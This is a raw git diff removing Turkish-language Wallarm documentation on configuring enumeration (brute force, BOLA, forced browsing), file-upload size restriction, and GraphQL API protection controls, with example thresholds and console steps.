              Forced browsing protectionYapılandırılan zaman aralığında erişilen benzersiz uç noktaların sayısını sayar.URL'lerForced browsing
              - -Buna göre: - -* Gizli (genel olmayan) URL’lerinizin numaralandırılmasını engellemek istiyorsanız, **Forced browsing protection** kontrolünü kullanın. -* Herhangi parametrenin numaralandırılmasını engellemek için **Enumeration attack protection** kontrolünü kullanabilirsiniz (hepsi bir arada çözüm). -* Varyasyonları deneyerek geçerli parolaları elde etme girişimlerini özellikle vurgulamak istiyorsanız, **Brute force protection** kontrolünü kullanın. -* Geçerli kullanıcı veya nesne ID’sinin numaralandırılması girişimlerini özellikle vurgulamak istiyorsanız - **BOLA protection** kontrolü. - -!!! info "Öncüller" - Azaltma kontrolleri, [Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliğinde sunulan gelişmiş araçlardır. [Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliğinde, [brute force protection](../admin-en/configuration-guides/protecting-against-bruteforce.md), [forced browsing protection](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) ve [BOLA protection](../admin-en/configuration-guides/protecting-against-bola-trigger.md) tetikleyicilerle yapılandırılır. - -## Varsayılan koruma - -Wallarm, numaralandırma koruması için [varsayılan](../about-wallarm/mitigation-controls-overview.md#default-controls) azaltma kontrolleri sağlar. Varsayılan kontrolleri çoğaltabilir, düzenleyebilir veya devre dışı bırakabilirsiniz. - - - ---8<-- "../include/mc-subject-to-change.md" - -### Brute force - -**Brute force protection** [varsayılan](#default-protection) azaltma kontrolleri; parolaların, OTP’lerin ve kimlik doğrulama kodlarının numaralandırılması girişimlerini tespit etmek için genel bir yapılandırma sunar ve tüm trafik için `Monitoring` [modunda](../about-wallarm/mitigation-controls-overview.md#mitigation-mode) etkindir. - -Brute force varsayılan kontrollerini incelemek için Wallarm Console → **Security Controls** → **Mitigation Controls**, **Brute force protection** bölümünde `Default` etiketli kontrolleri kontrol edin. - -Düzenleme, uygulamanın, trafik kalıplarının veya iş bağlamının özel ihtiyaçlarına göre varsayılan bir kontrolü özelleştirmenize olanak tanır. Örneğin, eşikleri ayarlayabilirsiniz. - -### BOLA - -**BOLA protection** [varsayılan](#default-protection) azaltma kontrolleri; kullanıcı ID’lerinin, nesne ID’lerinin ve dosya adlarının numaralandırılması girişimlerini tespit etmek için genel bir yapılandırma sunar ve tüm trafik için `Monitoring` [modunda](../about-wallarm/mitigation-controls-overview.md#mitigation-mode) etkindir. - -BOLA varsayılan kontrollerini incelemek için Wallarm Console → **Security Controls** → **Mitigation Controls**, **BOLA protection** bölümünde `Default` etiketli kontrolleri kontrol edin. - -Düzenleme, uygulamanın, trafik kalıplarının veya iş bağlamının özel ihtiyaçlarına göre varsayılan bir kontrolü özelleştirmenize olanak tanır. Örneğin, eşikleri veya numaralandırma için izlenen parametreleri ayarlayabilirsiniz. - -### Genel numaralandırma - -**Enumeration attack protection** [varsayılan](#default-protection) azaltma kontrolleri aşağıdaki numaralandırma girişimlerini tespit etmek için genel bir yapılandırma sağlar: - -* Kullanıcı/e‑posta numaralandırma -* SSRF (Server‑Side Request Forgery) numaralandırma -* User‑Agent rotasyonu - -Tüm trafik için `Monitoring` [modunda](../about-wallarm/mitigation-controls-overview.md#mitigation-mode) etkindir. - -Genel numaralandırma varsayılan kontrollerini incelemek için Wallarm Console → **Security Controls** → **Mitigation Controls**, **Enumeration attack protection** bölümünde `Default` etiketli kontrolleri kontrol edin. - -Düzenleme, uygulamanın, trafik kalıplarının veya iş bağlamının özel ihtiyaçlarına göre varsayılan bir kontrolü özelleştirmenize olanak tanır. Örneğin, eşikleri veya numaralandırma için izlenen parametreleri ayarlayabilirsiniz. - -### Forced browsing - -**Forced browsing protection** [varsayılan](#default-protection) azaltma kontrolleri; gizli (genel olmayan) URL’lerinizin numaralandırılması girişimlerini tespit etmek için genel bir yapılandırma sunar ve tüm trafik için `Monitoring` [modunda](../about-wallarm/mitigation-controls-overview.md#mitigation-mode) etkindir. - -Forced browsing varsayılan kontrollerini incelemek için Wallarm Console → **Security Controls** → **Mitigation Controls**, **Forced browsing protection** bölümünde `Default` etiketli kontrolleri kontrol edin. - -Düzenleme, uygulamanın, trafik kalıplarının veya iş bağlamının özel ihtiyaçlarına göre varsayılan bir kontrolü özelleştirmenize olanak tanır. Örneğin, eşikleri veya **Scope**’u ayarlayabilirsiniz. - -## Yapılandırma - -Numaralandırma korumasını aşağıdaki adımları yerine getirerek yapılandırın: - -* Kontrolün uygulanacağı **Scope**’u tanımlayın (uç noktalar, yalnızca belirli istekler). -* **Enumerated parameters** seçin – numaralandırma girişimleri için izlenecek olanlar. -* **Enumeration threshold** belirleyin – eşik aşıldığında kontrol harekete geçer. -* Scope tüm ihtiyaçlarınızı karşılamıyorsa **Scope filters** ayarlayın. -* **Mitigation mode** içinde eylemi belirleyin. - -Scope’u ve gelişmiş koşulları ayarlamak ve numaralandırma için izlenecek parametreleri seçmek için [düzenli ifadeleri](#regular-expressions) kullanabileceğinizi unutmayın. - -### Scope - -**Scope**, kontrolün hangi isteklere uygulanacağını tanımlar (URI ve diğer parametrelere göre). Kurallar içindeki istek koşullarıyla aynı şekilde yapılandırılır. Ayrıntılar için [buraya](../user-guides/rules/rules.md#configuring) bakın. - -**Scope** bölümünü boş bırakırsanız, azaltma kontrolü **tüm trafiğe** ve **tüm uygulamalara** uygulanır; bu tür kontroller tüm [dallar](../about-wallarm/mitigation-controls-overview.md#mitigation-control-branches) tarafından devralınır. - -### Scope filters - -[Scope](#scope) tüm ihtiyaçlarınızı karşılamıyorsa, koruma mekanizması kapsamına girmek için isteklerin karşılaması gereken diğer koşulları tanımlayabilirsiniz. - -Koşullar olarak şunların değerlerini veya değer kalıplarını kullanabilirsiniz: - -* İsteklerin yerleşik parametreleri – Wallarm filtreleme düğümü tarafından işlenen her istekte bulunan meta bilgi öğeleri. -* **Session context parameters** – **API Sessions** içinde [önemli olarak tanımlanmış](../api-sessions/setup.md#session-context) olanların listesinden parametreleri hızlıca seçin. Bu bölümdeki **Add custom** seçeneğini kullanarak, şu anda **API Sessions**’da bulunmayan parametreleri filtre olarak ekleyin. Bunu yaparsanız, bu parametreler **API Sessions**'ın context parameters listesine de eklenir (gizli, yani bu parametreler isteklerde mevcutsa onları session details içinde görürsünüz, ancak **API Session** [context parameter configuration](../api-sessions/setup.md#session-context) içinde görmezsiniz). - -!!! info "Performans notu" - **Scope** ayarları performans açısından daha az talepkâr olduğundan, hedefleriniz için yeterli olduğunda bunları kullanmanız ve yalnızca karmaşık koşullandırma için **Scope filters** kullanmanız her zaman önerilir. - -### Enumerated parameters - -**Enumerated parameters** bölümünde, numaralandırma için izlenecek parametreleri seçmeniz gerekir. İzlenecek parametreler kümesini tam eşleşmeyle veya [regex](#regular-expressions) ile seçin (tek bir azaltma kontrolü içinde yalnızca bir yaklaşım kullanılabilir). - -Tam eşleşme için, şu anda **API Sessions**’da [sunulmayan](../api-sessions/setup.md#session-context) parametreleri numaralandırma için izlenenler olarak eklemek üzere **Add custom** seçeneğini kullanabilirsiniz. Bunu yaparsanız, bu parametreler **API Sessions**'ın context parameters listesine de eklenir (gizli, yani bu parametreler isteklerde mevcutsa onları session details içinde görürsünüz, ancak **API Session** [context parameter configuration](../api-sessions/setup.md#session-context) içinde görmezsiniz). - -Regex için hem **Filter by parameter name** hem de **Filter by parameter value** belirtirseniz, bunlar birlikte çalışır (`AND` operatörü). Örneğin ad için `(?i)id` ve değer için `\d*` belirtmek `userId` parametresini yakalar ancak yalnızca parametre değeri olarak rakam kombinasyonu olan istekleri sayar. - -Bir istek [scope](#scope) ve [gelişmiş filtreleri](#scope-filters) karşılayıp numaralandırma için izlenen parametre için benzersiz bir değer **içerdiğinde**, bu parametrenin sayacı `+1` alır. - -### Enumeration threshold - -**Brute force, BOLA ve genel numaralandırma koruması** - -Bu tür korumalar, belirtilen zaman diliminde (saniye cinsinden) her bir [numaralandırılan parametre](#enumerated-parameters) için görülen benzersiz değerlerin sayısını sayar. **Enumerated parameters** bölümünde listelenen her parametre bağımsız olarak izlenir. - -Herhangi bir parametre eşik değerine ulaştığında, Wallarm [Mitigation mode](#mitigation-mode) doğrultusunda işlem gerçekleştirir. - -**Forced browsing protection** - -Bu koruma, yapılandırılmış zaman dilimi (saniye cinsinden) içinde erişilen benzersiz uç noktaların sayısını sayar. Eşik aşıldığında, Wallarm [Mitigation mode](#mitigation-mode) doğrultusunda işlem gerçekleştirir. - -### Mitigation mode - -Sayaçlardan herhangi biri eşiği aştığında, seçilen eylem gerçekleştirilir: - -* **Monitoring** - saldırı kaydedilir, bu saldırının parçası olan istekler [API Sessions](../api-sessions/overview.md) içinde `Brute force`, `Forced browsing`, `BOLA` veya genel `Enum` saldırısına ait olarak işaretlenir ancak istekler engellenmez. -* **Blocking** → **Block IP address** - saldırı kaydedilir, bu saldırının parçası olan istekler API Sessions içinde bu saldırıya ait olarak işaretlenir, bu isteklerin tüm kaynak IP’leri seçilen süre boyunca [denylist](../user-guides/ip-lists/overview.md) içine alınır. - -### Düzenli ifadeler - -**Scope** bölümü [PIRE](../user-guides/rules/rules.md#condition-type-regex) düzenli ifade kütüphanesini, gelişmiş koşullar ise [PCRE](https://www.pcre.org/) kullanır. Düzenli ifade kullanmak için aşağıdaki operatörleri kullanın: - -| Operatör | Açıklama | -| --- | --- | -| ~ (Aa) | Büyük/küçük harfe duyarsız regexp ile bir şeyi bulun. | -| !~ (Aa) | Büyük/küçük harfe duyarsız regexp ile bir şeyi hariç tutun. | -| ~ | Büyük/küçük harfe duyarlı regexp ile bir şeyi bulun. | -| !~ | Büyük/küçük harfe duyarlı regexp ile bir şeyi hariç tutun. | - -## Örnek - -Diyelim ki e‑ticaret uygulamanız `E-APPC`, her kullanıcının siparişleriyle ilgili bilgileri `/users/*/orders` altında saklıyor. Kötü niyetli kişilerin bu siparişlere ait ID’lerin listesini elde etmesini engellemek istiyorsunuz. Bu liste, farklı rakam kombinasyonlarını deneyen bir komut dosyasıyla elde edilebilir. Bunu önlemek için, her kullanıcı hesabı altında siparişleri depolayan rotalar için `in minute` içinde `more than 2 unique values` sayacını ayarlayabilirsiniz - bu aşıldığında, etkinlik nesne (kullanıcı sipariş) ID’lerini numaralandırma (BOLA saldırısı) girişimi olarak işaretlenmeli ve kaynak IP 1 saatliğine engellenmelidir. - -Bunu başarmak için, **BOLA protection** azaltma kontrolünü ekrandaki ekran görüntüsünde gösterildiği gibi yapılandırın: - -![BOLA protection azaltma kontrolü - örnek](../images/user-guides/mitigation-controls/mc-bola-example-01.png) - -Bu örnekte, parametre değerlerindeki `\d*` regex’i `sıfır veya daha fazla rakam` anlamına gelir - rakamlardan oluşan bir nesne ID’sini numaralandırma girişimi. - - - -## Tespit edilen saldırıların görüntülenmesi - -Numaralandırma saldırıları [mitigation mode](#mitigation-mode) uyarınca tespit edildiğinde veya engellendiğinde, [API Sessions](../api-sessions/exploring.md) bölümünde gösterilir: - -![API Sessions içinde numaralandırma saldırısı (brute force)](../images/user-guides/mitigation-controls/mc-found-attack-in-api-sessions.png) - -İlgili saldırı türlerine sahip oturumları **Attack** filtresini kullanarak bulabilirsiniz; ayrıca gerekirse, yalnızca numaralandırma saldırısıyla ilgili istekleri görmek için session details içinde filtreleyin. \ No newline at end of file diff --git a/docs/latest-tr/api-protection/file-upload-restriction.md b/docs/latest-tr/api-protection/file-upload-restriction.md deleted file mode 100644 index 10583f7269..0000000000 --- a/docs/latest-tr/api-protection/file-upload-restriction.md +++ /dev/null @@ -1,125 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# File Upload Restriction Policy - -[Unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md), en ciddi API güvenlik risklerinin yer aldığı [OWASP API Top 10 2023](../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023) listesine dahildir. Kendi başına bir tehdit olmakla birlikte (hizmetin yavaşlaması veya aşırı yüklenme nedeniyle tamamen çökmesi), farklı saldırı türlerine de zemin hazırlar; örneğin, enumeration saldırıları. Çok büyük dosya yüklemeye izin verilmesi bu risklerin nedenlerinden biridir. Bu makale, Wallarm’da dosya yükleme kısıtlamalarının nasıl yapılandırılacağını açıklar. - -Dosya yükleme kısıtlamasını [kullanarak](#configuration-method) mitigation controls ile yapılandırırsanız, kontrolün doğrudan amacına (yüklenen dosyaların azami boyutunu sınırlama) ek olarak, belirli istek parametrelerinin boyutunu sınırlayarak saldırı yüzeyini de azaltabilirsiniz. Örneğin, rastgele bir header’ın azami boyutunu sınırlayan kurallar ayarlayabilirsiniz. Bu durumda saldırganın payload’ını içeri itme veya BufferOverflow’dan yararlanma imkanları azalır. - -Wallarm’ın, sınırsız kaynak tüketimini engellemek için sağladığı tek [önlem dosya boyutu yükleme kısıtlamaları değildir](#comparison-to-other-measures-for-preventing-unrestricted-resource-consumption). - -## Configuration method - -Abonelik planınıza bağlı olarak, dosya yükleme kısıtlaması için aşağıdaki yapılandırma yöntemlerinden biri kullanılabilir: - -* Mitigation controls ([Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) - bir mitigation control kullanarak yalnızca isteğin toplam boyutuna değil, belirli bir parametreye de limit koyabilirsiniz (kurala göre daha hassas ayarlar). -* Rules ([Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) - -## Mitigation control-based protection - -[Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliğinin bir parçası olarak Wallarm, **File upload restriction policy** [mitigation control](../about-wallarm/mitigation-controls-overview.md) sağlar. - -!!! tip "" - [NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.3.0 veya üzeri gerektirir ve şu an için [Native Node](../installation/nginx-native-node-internals.md#native-node) tarafından desteklenmemektedir. - -Bu mitigation control ile belirli bir parametrenin boyutuna limit koyabilir (daha hassas ayarlar), ya da basitlik için limiti tüm istek üzerinde tanımlayabilirsiniz. - -Belirli istek parametrelerinin boyutunu sınırlamak, kontrolün doğrudan amacına (yüklenen dosyaların azami boyutunu sınırlama) ek olarak saldırı yüzeyini azaltmaya da olanak tanır. Örneğin, rastgele bir header’ın azami boyutunu sınırlayan kurallar ayarlayabilirsiniz. Bu durumda saldırganın payload’ını içeri itme veya BufferOverflow’dan yararlanma imkanları azalır. - -### Mitigation control oluşturma ve uygulama - -!!! info "Azaltma kontrollerine ilişkin genel bilgiler" - Devam etmeden önce: Herhangi bir mitigation control için **Scope** ve **Mitigation mode** ayarlarının nasıl yapıldığını öğrenmek üzere [Mitigation Controls](../about-wallarm/mitigation-controls-overview.md#configuration) makalesini kullanın. - -Dosya yükleme kısıtlama politikasını yapılandırmak için: - -1. Wallarm Console → **Mitigation Controls** bölümüne gidin. -1. **Add control** → **File upload restriction policy** seçin. -1. Mitigation control’ün uygulanacağı **Scope**’u tanımlayın. -1. Tüm istek için veya seçili nokta için **Size restrictions** ayarlayın. -1. **Mitigation mode** bölümünde gerçekleştirilecek eylemi ayarlayın. -1. **Add**’a tıklayın. - -### Mitigation control örnekleri - -#### Belirli bir istek alanı üzerinden yüklenen dosyanın boyutunu sınırlama - -Diyelim ki `application-001` uygulamanızın `/upload` adresine, `upfile` POST istek parametresi üzerinden yüklenen dosyaların boyutunu sınırlamak istiyorsunuz. Limit 100KB olmalı. Limiti aşan her şey engellenmelidir. - -Bunu yapmak için, **File upload restriction policy** mitigation control’ü ekran görüntüsünde gösterildiği gibi ayarlayın: - -![File upload restriction MC - örnek](../images/api-protection/mitigation-controls-file-upload-1.png) - -#### Exact point size ile PUT yüklemesini kısıtlama - -Diyelim ki uygulamanızın `/put-upload` adresine, PUT yöntemiyle istek gövdesinde 100KB’den büyük dosya yükleme girişimlerini (engellemeden) saldırı olarak kaydetmek istiyorsunuz. - -Bunu yapmak için, **File upload restriction policy** mitigation control’ü ekran görüntüsünde gösterildiği gibi ayarlayın: - -![File upload restriction MC - örnek](../images/api-protection/mitigation-controls-file-upload-2.png) - -Yukarıdaki örnekte, istek noktası tanımında `post`, Wallarm’ın [etiketi](../user-guides/rules/request-processing.md#metadata) olup “istek gövdesinde” anlamına gelir. - -#### JSON Base64 yükleme kısıtlaması - -Diyelim ki istek gövdesindeki bir JSON nesnesi içinde (yalnızca bu eylem uygulamanızın `/json-upload` adresini hedefliyorsa) dosyanın Base64 kodlu 100K+ karakterlik bir dizgesini yükleme girişimlerini (engellemeden) saldırı olarak kaydetmek istiyorsunuz. - -Bunu yapmak için, **File upload restriction policy** mitigation control’ü ekran görüntüsünde gösterildiği gibi ayarlayın: - -![File upload restriction MC - örnek](../images/api-protection/mitigation-controls-file-upload-3.png) - -Yukarıdaki örnekte istek noktası tanımı, Wallarm’ın [etiketlerinin](../user-guides/rules/request-processing.md) bir dizisiyle şu anlama gelecek şekilde yapılmıştır: - -* `post` - istek gövdesinde -* `json_doc` - veriler JSON formatında -* `hash` - ilişkisel dizinin anahtarı için -* `file` - bu anahtarın değeri - -#### Multipart form data yükleme kısıtlaması - -Diyelim ki bir dosya yükleme alanı içeren HTML formu aracılığıyla (genelde `multipart/form-data` içerik türü oluşur) 100K+ dosyalar gönderme girişimlerini (yalnızca bu eylem uygulamanızın `/multipart-upload` adresini hedefliyorsa) saldırı olarak kaydetmek istiyorsunuz. - -Bu sınırlamayı uygulamak için, **File upload restriction policy** mitigation control’ü ekran görüntüsünde gösterildiği gibi ayarlayın: - -![File upload restriction MC - örnek](../images/api-protection/mitigation-controls-file-upload-4.png) - -Yukarıdaki örnekte istek noktası tanımı, Wallarm’ın [etiketlerinin](../user-guides/rules/request-processing.md) bir dizisiyle şu anlama gelecek şekilde yapılmıştır: - -* `post` - istek gövdesinde -* `multipart` - `multipart/form-data` içerik türündeki veriler -* `file` - formun ürettiği karma içeriğin “dosya parçası” - -## Rule-based protection - -[Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliğinin bir parçası olarak Wallarm, **File upload restriction policy** [rule](../user-guides/rules/rules.md) sağlar. - -!!! tip "" - [NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.3.0 veya üzeri gerektirir ve şu an için [Native Node](../installation/nginx-native-node-internals.md#native-node) tarafından desteklenmemektedir. - -**Kuralı oluşturma ve uygulama** - ---8<-- "../include/rule-creation-initial-step.md" -1. **Mitigation controls** → **File upload restriction policy** seçin. -1. **If request is** içinde, kuralın uygulanacağı kapsamı [tanımlayın](../user-guides/rules/rules.md#configuring). -1. **Size restrictions** içinde boyut kısıtlamasını ve **Mode**’u ayarlayın. -1. İsteğe bağlı olarak, kısıtlamanın uygulanacağı istek noktasını belirtin (ayarlanmazsa kısıtlama tüm istek boyutuna uygulanır). - - ![File upload restriction - kural](../images/api-protection/rule-file-upload.png) - -1. [Kuralın derlenmesini ve filtreleme node’una yüklenmesini bekleyin](../user-guides/rules/rules.md#ruleset-lifecycle). - -## Tespit edilen saldırıları görüntüleme - -Dosya yükleme kısıtlama politikalarının ihlalleri, **Attacks** ve **API Sessions** bölümlerinde [file upload violation](../attacks-vulns-list.md#file-upload-violation) saldırıları olarak görüntülenir: - -![File upload restriction - tespit edilen saldırılar](../images/api-protection/mitigation-controls-file-upload-detected.png) - -İstek ayrıntılarındaki düğmeleri kullanarak **Attacks** ve **API Sessions** görünümleri arasında geçiş yapabilirsiniz. Bu saldırı türüne sahip tüm saldırılar/oturumlar, saldırı türü filtresi **File upload violation** olarak ayarlanarak bulunabilir (ayrıca, **Attacks** içinde `file_upload_violation` [arama etiketi](../user-guides/search-and-filters/use-search.md#search-by-attack-type) de kullanılabilir). - -## Comparison to other measures for preventing unrestricted resource consumption - -Dosya yükleme kısıtlama politikalarını ayarlamaya ek olarak, Wallarm sınırsız kaynak tüketimini engellemek için başka mekanizmalar da sağlar. Bunlar: - -* Botlar tarafından gerçekleştirilen sınırsız kaynak tüketimini tespit etme ve engelleme (Wallarm'ın API Abuse Prevention özelliği, çalışması için yapılandırılmalıdır). -* [DoS protection](../api-protection/dos-protection.md) mitigation control ( [Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği gerektirir). -* [Advanced rate limiting](../user-guides/rules/rate-limiting.md). \ No newline at end of file diff --git a/docs/latest-tr/api-protection/graphql-rule.md b/docs/latest-tr/api-protection/graphql-rule.md deleted file mode 100644 index dacdea911b..0000000000 --- a/docs/latest-tr/api-protection/graphql-rule.md +++ /dev/null @@ -1,112 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# GraphQL API Koruması - -Wallarm, temel [WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans) abonelik planında bile GraphQL içindeki düzenli saldırıları (SQLi, RCE, [vb.](../attacks-vulns-list.md)) [varsayılan olarak](../user-guides/rules/request-processing.md#gql) tespit eder. Ancak, protokolün bazı yönleri, aşırı bilgi ifşası ve DoS ile ilgili [GraphQL’e özgü](../attacks-vulns-list.md#graphql-attacks) saldırıların uygulanmasına izin verir. Bu belge, **GraphQL policy** (GraphQL istekleri için bir dizi limit) belirleyerek API’lerinizi bu saldırılardan korumak için Wallarm’ın nasıl kullanılacağını açıklar. - -Genişletilmiş koruma kapsamında, GraphQL API Koruması gelişmiş [API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) abonelik planının bir parçasıdır. Plan satın alındığında, korumayı **GraphQL API protection** [mitigation control](../about-wallarm/mitigation-controls-overview.md) içinde kuruluşunuzun GraphQL policy’sini belirleyerek başlatın. - -## Desteklenen GraphQL biçimleri - -GraphQL sorguları tipik olarak bir GraphQL sunucu uç noktasına HTTP POST istekleri olarak gönderilir. İstek, gövdenin sunucuya hangi medya türünde gönderildiğini belirtmek için bir `CONTENT-TYPE` başlığı içerir. `CONTENT-TYPE` için Wallarm şunları destekler: - -* yaygın seçenekler: `application/json` ve `application/graphql` -* ayrıca karşılaşılabilecek seçenekler: `text/plain` ve `multipart/form-data` - -GraphQL sorguları HTTP GET istekleri olarak da gönderilebilir. Bu durumda sorgu, URL’de bir sorgu parametresi olarak eklenir. GET istekleri GraphQL sorguları için kullanılabilse de özellikle daha karmaşık sorgular için POST isteklerinden daha az yaygındır. Bunun nedeni, GET isteklerinin tipik olarak idempotent (yani tekrarlansa da farklı sonuçlar üretmeyen) işlemler için kullanılması ve daha uzun sorgular için sorun yaratabilecek uzunluk sınırlamalarına sahip olmasıdır. - -Wallarm, GraphQL istekleri için hem POST hem de GET HTTP yöntemlerini destekler. - -## Yapılandırma yöntemi - -Abonelik planınıza bağlı olarak, GraphQL API koruması için aşağıdaki yapılandırma yöntemlerinden biri kullanılabilir: - -* Mitigation controls ([Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) -* Rules ([Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) - -## Mitigation control tabanlı koruma - -!!! tip "" - [NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.2.0 veya üstünü gerektirir ve şu anda [Native Node](../installation/nginx-native-node-internals.md#native-node) tarafından desteklenmemektedir. - -### Varsayılan koruma - -Wallarm, [varsayılan](../about-wallarm/mitigation-controls-overview.md#default-controls) **GraphQL API protection** mitigation controls sağlar. Bunlar, GraphQL API anormalliklerini tespit etmek için genel bir yapılandırma içerir ve tüm trafik için `Monitoring` [mode](../about-wallarm/mitigation-controls-overview.md#mitigation-mode) içinde etkinleştirilmiştir. - -Varsayılan GraphQL kontrolünü incelemek için Wallarm Console → **Security Controls** → **Mitigation Controls** bölümünde, **GraphQL API protection** kısmındaki `Default` etiketli kontrolleri kontrol edin. - -Varsayılan kontrolleri çoğaltabilir, düzenleyebilir veya devre dışı bırakabilirsiniz. Düzenleme, uygulamanın özel ihtiyaçlarına, trafik kalıplarına veya iş bağlamına göre varsayılan bir kontrolü özelleştirmenize olanak tanır. Örneğin, **Scope** alanını daraltarak kontrolü GraphQL’e özgü uç noktalara sınırlayabilir veya eşik değerlerini ayarlayabilirsiniz. - - - ---8<-- "../include/mc-subject-to-change.md" - -### Mitigation control oluşturma ve uygulama - -GraphQL mitigation control’ün GraphQL’e özgü uç noktalar için oluşturulması önerilir. Tüm sistem için **all traffic** mitigation control olarak oluşturulması önerilmez. - -!!! info "Mitigation controls hakkında genel bilgiler" - Devam etmeden önce: herhangi bir mitigation control için **Scope** ve **Mitigation mode** ayarlarının nasıl yapıldığını öğrenmek için [Mitigation Controls](../about-wallarm/mitigation-controls-overview.md#configuration) makalesini kullanın. - -GraphQL policy’yi ayarlamak ve uygulamak için: - -1. Wallarm Console → **Mitigation Controls** bölümüne gidin. -1. **Add control** → **GraphQL API protection** öğesini kullanın. -1. Mitigation control’ün uygulanacağı **Scope** alanını tanımlayın. -1. Trafik metriklerinize uygun olarak GraphQL istekleri için eşik değerlerini belirleyin (boş/belirsiz bırakılırsa, bu kritere göre herhangi bir sınırlama uygulanmaz): - - * **Maximum total query size in kilobytes** - tüm bir GraphQL sorgusunun boyutu için üst sınırı belirler. Bu, aşırı büyük sorgular göndererek sunucu kaynaklarını sömüren Hizmet Reddi (DoS) saldırılarını önlemek için kritik öneme sahiptir. - * **Maximum value size in kilobytes** - bir GraphQL sorgusu içindeki herhangi bir tekil değerin (değişken veya sorgu parametresi) maksimum boyutunu belirler. Bu limit, saldırganların değişkenler veya argümanlar için aşırı uzun string değerleri gönderdiği Excessive Value Length türü saldırılarla sunucuyu bunaltma girişimlerini azaltmaya yardımcı olur. - * **Maximum query depth** - bir GraphQL sorgusu için izin verilen maksimum derinliği belirler. Sorgu derinliğini sınırlayarak, kötü amaçlı hazırlanmış, derin iç içe sorgulardan kaynaklanan performans sorunları veya kaynak tükenmesi önlenebilir. - * **Maximum number of aliases** - tek bir GraphQL sorgusunda kullanılabilecek alias sayısına sınır koyar. Alias sayısını kısıtlamak, alias işlevselliğini kötüye kullanarak aşırı karmaşık sorgular oluşturan Kaynak Tüketimi ve DoS saldırılarını engeller. - * **Maximum batched queries** - tek bir istekte gönderilebilecek toplu sorguların sayısına üst sınır koyar. Bu parametre, birden fazla işlemi tek bir istekte birleştirerek hız sınırlama gibi güvenlik önlemlerini atlatmayı amaçlayan toplu sorgu (batching) saldırılarını engellemek için gereklidir. - * **Block/register introspection queries** - etkinleştirildiğinde, GraphQL şemanızın yapısını ortaya çıkarabilecek introspection istekleri potansiyel saldırılar olarak değerlendirilecektir. Introspection sorgularını devre dışı bırakmak veya izlemek, şemanın saldırganlara ifşa olmasını önlemek için kritik bir önlemdir. - * **Block/register debug requests** - bu seçenek etkinleştirildiğinde, debug modu parametresi içeren istekler potansiyel saldırılar olarak kabul edilir. Bu ayar, üretimde yanlışlıkla açık bırakılan debug modunu yakalamak ve arka uç hakkında hassas bilgileri ortaya çıkarabilecek aşırı hata mesajlarına saldırganların erişmesini engellemek için yararlıdır. - - Varsayılan olarak, bir policy maksimum POST istek sorgu boyutunu 100 KB, değer boyutunu 10 KB, sorgu derinliği ve toplu sorgu limitlerini 10, alias sayısını 5 olarak belirler; ayrıca introspection ve debug sorgularını reddeder. Ekran görüntüsünde gösterildiği gibi (not: yaygın meşru GraphQL sorgularınızın istatistiklerini dikkate alarak varsayılan değerleri kendi değerlerinizle değiştirebilirsiniz): - - ![GraphQL eşik değerleri](../images/api-protection/mitigation-controls-graphql.png) - -1. **Mitigation mode** bölümünde yapılacak işlemi ayarlayın. -1. **Add**’e tıklayın. - - - -### Mitigation control örnekleri - - -#### GraphQL uç noktalarınız için saldırıları engelleyecek policy ayarlanması - -Diyelim ki `example.com/graphql` altında bulunan uygulama GraphQL uç noktalarına gelen istekler için limitler belirleyerek onlara yönelik tüm potansiyel [GraphQL’e özgü](../attacks-vulns-list.md#graphql-attacks) saldırıları engellemek istiyorsunuz. `example.com` için filtration mode `monitoring`. - -Bunu yapmak için: - -1. **GraphQL API protection** mitigation control’ü ekran görüntüsünde gösterildiği gibi ayarlayın (not: bunlar örnek değerlerdir - gerçek hayattaki kurallar için yaygın meşru GraphQL sorgularınızın istatistiklerini dikkate alarak kendi değerlerinizi tanımlamalısınız): - - ![Uç noktalarınız için GraphQL Policy](../images/api-protection/mitigation-controls-graphql-1.png) - -1. `example.com` için filtration mode `monitoring` durumunda ve GraphQL uç noktaları için `block` istiyorsanız, **Override filtration mode** rule’ünü ekran görüntüsünde gösterildiği gibi yapılandırın: - - ![GraphQL policy engelleme işlemi](../images/user-guides/rules/graphql-rule-1-action.png) - -#### Belirli uç noktalar için policy'nin değiştirilmesi - -[Önceki](#setting-policy-for-your-graphql-endpoints-to-block-attacks) örneğe devam ederek, `example.com/graphql/v2` alt uç noktası için daha sıkı limitler belirlemek istediğinizi varsayalım. Limitler daha sıkı olduğundan, herhangi bir şeyi engellemeden önce `monitoring` modunda test edilmelidir. - -Bunu yapmak için: - -1. **GraphQL API protection** mitigation control’ü ekran görüntüsünde gösterildiği gibi ayarlayın (not: bunlar örnek değerlerdir - gerçek hayattaki kurallar için yaygın meşru GraphQL sorgularınızın istatistiklerini dikkate alarak kendi değerlerinizi tanımlamalısınız): - - ![Alt uç nokta için daha sıkı GraphQL policy](../images/api-protection/mitigation-controls-graphql-2.png) - -1. `example.com/graphql` için filtration mode `block` ve `example.com/graphql/v2` için `monitoring` istiyorsanız, **Override filtration mode** rule’ünü ekran görüntüsünde gösterildiği gibi yapılandırın: - - ![GraphQL policy engelleme işlemi](../images/user-guides/rules/graphql-rule-2-action.png) - -## Rule tabanlı koruma - -Wallarm Console → **Security Controls** → **Rules WAF** içinde işlem yaptığınız dışında, **GraphQL API protection** mitigation control için açıklanan ayarların aynısını kullanın. \ No newline at end of file diff --git a/docs/latest-tr/api-sessions/blocking.md 